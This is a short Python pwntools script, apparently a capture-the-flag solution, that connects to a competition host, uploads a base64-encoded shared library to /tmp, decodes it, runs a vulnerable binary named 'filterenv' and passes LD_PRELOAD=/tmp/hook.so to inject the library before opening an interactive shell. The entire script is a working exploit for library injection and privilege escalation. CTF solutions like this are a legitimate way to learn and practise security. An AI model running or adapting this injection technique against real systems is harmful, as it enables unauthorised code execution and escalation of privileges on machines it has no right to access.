#!/usr/bin/python
from pwn import *

HOST = 'env.ctfcompetition.com'
PORT = 1337

def main() :
    conn = remote(HOST, PORT)

    conn.sendline("cd /tmp/")
    # send encoded .so file with base64
    conn.send("echo '"+(open("enc.txt","r").read())+"' > enc.txt\n")
    # decode file
    conn.sendline("base64 -d enc.txt > hook.so")
    # execute vulnerable binary
    conn.sendline("/home/adminimum/filterenv")
    # inject my shared object library
    conn.sendline("LD_PRELOAD=/tmp/hook.so")
    conn.sendline("LD_PRELOAD=/tmp/hook.so")
    conn.sendline()

    conn.interactive()

    
if __name__ == "__main__" :
    main()